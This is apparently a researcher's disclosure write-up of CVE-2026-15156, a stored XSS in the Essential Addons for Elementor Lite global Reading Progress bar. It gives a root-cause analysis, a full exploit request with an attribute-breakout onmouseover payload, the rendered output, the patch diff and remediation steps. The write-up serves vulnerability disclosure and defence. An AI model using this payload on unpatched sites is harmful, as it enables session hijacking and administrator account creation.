Skip to content

CVE-2026-15156: Essential Addons for Elementor Global Reading Progress Stored XSS

TL;DR

  • I found an authenticated stored cross-site scripting vulnerability in Essential Addons for Elementor Lite's global Reading Progress bar.
  • A normal Elementor document save could copy Contributor-controlled colour settings into the site-wide eael_global_settings option without a capability check.
  • The global renderer placed those colours into style attributes without escaping, letting the stored value break out and add a JavaScript event handler that could run for visitors, including administrators.
  • A Contributor can poison the global option. I used an Author so the same user could publish the post and complete the chain.
  • The issue affects versions <= 6.6.11, was assigned CVE-2026-15156, and was patched in 6.7.0.

Summary

Essential Addons for Elementor Lite was vulnerable to authenticated stored cross-site scripting because the Reading Progress "global" save path wrote attacker-controlled colour values into a site-wide option without a capability check, and the front-end renderer placed those values into a style attribute without escaping.

  • CVE: CVE-2026-15156
  • Product: Essential Addons for Elementor Lite
  • Active Installs: 2,000,000+
  • Vulnerability: Authenticated Stored Cross-Site Scripting
  • Affected Versions: <= 6.6.11
  • Fixed In: 6.7.0
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Contributor+
  • NVD Published: July 21, 2026

The Reading Progress bar can be configured per document or made global so it appears elsewhere on the site. Essential Addons copied the document's settings into a site-wide option without checking whether the saving user could manage plugin settings, then put the stored colours into an HTML attribute without escaping them. A value like red;" onmouseover="... could add an attacker-controlled event handler to the global bar.

Introduction

[A]I was auditing Essential Addons for Elementor and, in the same pass, reported an email header injection that led to account takeover (CVE-2026-15155). While working through the plugin's extensions, I noticed the Reading Progress bar has a "global" toggle. One document could decide what a site-wide UI element looked like elsewhere on the site.

That global toggle was worth poking at. I wanted to know two things.. who could flip it, and where the saved colours ended up.

Root Cause Analysis

The Global Save Hook

Essential Addons registers save_global_values() on Elementor's editor save hook in includes/Classes/Bootstrap.php.

// includes/Classes/Bootstrap.php
add_action('elementor/editor/after_save', array($this, 'save_global_values'), 10, 2);

elementor/editor/after_save fires whenever a document is saved through the Elementor editor. Anyone who can edit and save a document reaches this handler for their own post, so the entry point is available to any role that Elementor lets into the editor.

No Capability Check on the Global Write

The handler itself lives in includes/Traits/Core.php. This is the code as shipped in 6.6.11, the last affected release.

// includes/Traits/Core.php
public function save_global_values($post_id, $editor_data)
{
    if (wp_doing_cron()) { // [1] The only early return in this handler.
        return;
    }

    $document = Plugin::$instance->documents->get($post_id, false);
    $global_settings = get_option('eael_global_settings', []) ?: [];

    if ($document->get_settings('eael_ext_reading_progress_global') == 'yes' && $document->get_settings('eael_ext_reading_progress') == 'yes') { // [2] A per-document setting drives a site-wide write.
        $global_settings['reading_progress'] = [
            'post_id' => $post_id,
            'enabled' => true,
            // ... display condition, position and height omitted ...
            'eael_ext_reading_progress_bg_color' => $document->get_settings('eael_ext_reading_progress_bg_color'), // [3] Background colour copied without validation.
            'eael_ext_reading_progress_fill_color' => $document->get_settings('eael_ext_reading_progress_fill_color'),
            // ... animation speed omitted ...
        ];
    }

    // ... disable branch, other global settings and the global-settings filter omitted.
    update_option('eael_global_settings', $global_settings); // [4] The document values become site-wide state.
}

The cron check at [1] is the only early return. Nothing checks manage_options, or any other Essential Addons capability, before the update. The switches at [2] come from the user's own document, so the plugin treats document settings as permission to change a global option. The background colour at [3] and the fill colour below it are copied without colour validation, then [4] writes them into eael_global_settings.

That is the authorisation half of the bug. A user who can only edit their own post can overwrite the site's global Reading Progress settings.

From Global Option to Unescaped Style Attribute

On front-end pages where EAEL loads its extensions, includes/Traits/Elements.php reads the option back. When the current post has no local Reading Progress bar but the global one is enabled, the stored global values become the settings used for rendering.

// includes/Traits/Elements.php
$global_settings = get_option( 'eael_global_settings' ); // [5] Load the site-wide extension settings.
// ... local bar takes priority; otherwise fall through to the global bar ...
} elseif ( isset( $global_settings['reading_progress']['enabled'] ) && $global_settings['reading_progress']['enabled'] ) {
    $reading_progress_status = true;
    $global_reading_progress = true;
    $settings_data           = $global_settings['reading_progress']; // [6] Stored global values become the render settings.
}

The read at [5] is not tied to the attacker's own post. On a page without a local bar, [6] makes the global values the render settings. They are then assigned to $this->extensions_data, which is what get_extensions_value() reads. By the time the sink asks for the background colour, it gets the attacker's stored string:

// includes/Traits/Elements.php
if ( $global_reading_progress ) {
    // [7] The two colours below enter quoted style attributes without escaping.
    $reading_progress_html .= '<div class="eael-reading-progress eael-reading-progress-global eael-reading-progress-' . $this->get_extensions_value( 'eael_ext_reading_progress_position' ) . '" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . $this->get_extensions_value( 'eael_ext_reading_progress_bg_color' ) . ';">
        <div class="eael-reading-progress-fill" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . $this->get_extensions_value( 'eael_ext_reading_progress_fill_color' ) . ';transition: width ' . esc_attr( $animation_speed ) . 'ms ease;"></div>
    </div>';
}

The height right beside it is wrapped in esc_attr( $progress_height ), and the animation speed is too. At [7] the background colour goes straight into a double-quoted style attribute, so a value containing a " closes the attribute early and lets the rest of the string become new attributes on the <div>. The fill colour follows the same path. The position in the class attribute is also unescaped, but I used the background colour here.

Impact

Once the post carrying the payload is published, affected front-end pages render the injected event handler. Moving the pointer over the fixed bar executes it in the visitor's session, including an administrator's.

This happens on normal site pages, not in Elementor or wp-admin. If a logged-in administrator triggers the handler, the script can make same-origin requests through their session, fetch WordPress nonces, and create a new administrator account.

Exploitation

Preconditions

  • Elementor and Essential Addons for Elementor Lite <= 6.6.11 are active.
  • The Reading Progress extension is active. Essential Addons enables its extensions by default, so this is the out-of-the-box state.
  • The attacker has Contributor access or above. A Contributor can poison the global option, but an Editor or Administrator still has to publish the post before the bar renders. An Author can publish their own post, which is the route I use below.

Storing the Payload

I logged in as an Author and saved the malicious document through Elementor's normal Ajax endpoint. The payload goes in the background colour, and the global toggle makes the save handler copy it into eael_global_settings:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=elementor_ajax&_nonce=ELEMENTOR_AJAX_NONCE&editor_post_id=POST_ID&actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[],"settings":{"post_status":"publish","eael_ext_reading_progress":"yes","eael_ext_reading_progress_global":"yes","eael_ext_reading_progress_global_display_condition":"all","eael_ext_reading_progress_position":"top","eael_ext_reading_progress_height":{"unit":"px","size":100,"sizes":[]},"eael_ext_reading_progress_bg_color":"red;position:fixed;top:0;left:0;width:100%;z-index:999999;\" onmouseover=\"alert(document.domain)\" x=\"","eael_ext_reading_progress_fill_color":"#1fd18e","eael_ext_reading_progress_animation_speed":{"unit":"px","size":50,"sizes":[]}}}}}

The background colour begins with a valid colour, then adds CSS that pins the bar across the top of the page. The injected quote closes the style attribute and adds onmouseover. The trailing x=" consumes the template's own ;"> so the tag stays well formed.

Rendered Result

Loading a separate published page, the global bar comes back with the payload split into real attributes. Reformatted for readability:

<div
    class="eael-reading-progress eael-reading-progress-global eael-reading-progress-top"
    style="height: 100px;background-color: red;position:fixed;top:0;left:0;width:100%;z-index:999999;"
    onmouseover="alert(document.domain)"
    x=";"
>
    <!-- fill element omitted -->
</div>

The background-color value ended at the injected quote, and onmouseover is now a genuine event handler on the site-wide bar.

Demo

TODO: Browser showing alert(document.domain) firing on an unrelated page after mouse movement

Patch Diffing

The 6.7.0 changelog lists the fix under the Reading Progress bar:

Improved: EA Reading Progress Bar | Enhanced global color settings security

save_global_values() now checks manage_options before touching the global option. Low-privileged Elementor users can no longer change it, and the vendor's comment even names the CVE:

// includes/Traits/Core.php
     if (wp_doing_cron()) {
         return;
     }

+    // eael_global_settings is a site-wide option; only users who can manage
+    // options may mutate it. Prevents Contributor+ stored XSS (CVE-2026-15156).
+    if (!current_user_can('manage_options')) {
+        return;
+    }
+
     $document = Plugin::$instance->documents->get($post_id, false);
     $global_settings = get_option('eael_global_settings', []) ?: [];

The renderer now escapes both colours and the position, so a bad stored value cannot break out of its HTML attribute:

// includes/Traits/Elements.php
 if ( $global_reading_progress ) {
-    $reading_progress_html .= '<div class="eael-reading-progress eael-reading-progress-global eael-reading-progress-' . $this->get_extensions_value( 'eael_ext_reading_progress_position' ) . '" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . $this->get_extensions_value( 'eael_ext_reading_progress_bg_color' ) . ';">
-        <div class="eael-reading-progress-fill" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . $this->get_extensions_value( 'eael_ext_reading_progress_fill_color' ) . ';transition: width ' . esc_attr( $animation_speed ) . 'ms ease;"></div>
+    $reading_progress_html .= '<div class="eael-reading-progress eael-reading-progress-global eael-reading-progress-' . esc_attr( $this->get_extensions_value( 'eael_ext_reading_progress_position' ) ) . '" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . esc_attr( $this->get_extensions_value( 'eael_ext_reading_progress_bg_color' ) ) . ';">
+        <div class="eael-reading-progress-fill" style="height: ' . esc_attr( $progress_height ) . 'px;background-color: ' . esc_attr( $this->get_extensions_value( 'eael_ext_reading_progress_fill_color' ) ) . ';transition: width ' . esc_attr( $animation_speed ) . 'ms ease;"></div>

Version 6.7.0 also added CSS sanitisation to the Table of Contents and Scroll to Top global settings. Those settings are written by the same handler and followed the same unsafe pattern.

Remediation

Update Essential Addons for Elementor Lite to version 6.7.0 or later.

If you cannot update immediately, remove Elementor editing access from untrusted users, especially Contributors and Authors. In custom code, protect site-wide option writes with a capability such as manage_options. Escape anything inserted into an HTML attribute with esc_attr(), and validate colours before storing them.

Disclosure Timeline

  • May 22, 2026: Submitted to the Wordfence bug bounty program.
  • July 7, 2026: Triage started.
  • July 8, 2026: Report validated, CVE-2026-15156 assigned, and $96 bounty awarded.
  • July 16, 2026: Essential Addons for Elementor Lite 6.7.0 released, adding the capability check and output escaping.
  • July 20, 2026: Published by Wordfence as CVE-2026-15156.

Conclusion

A colour control on one Elementor document looked local, but the global toggle copied it into a site-wide option.

The XSS itself was old-fashioned attribute breakout. The plugin put the stored colours into quoted style attributes without esc_attr(), so a low-privileged document setting came back as an event handler on unrelated pages.

References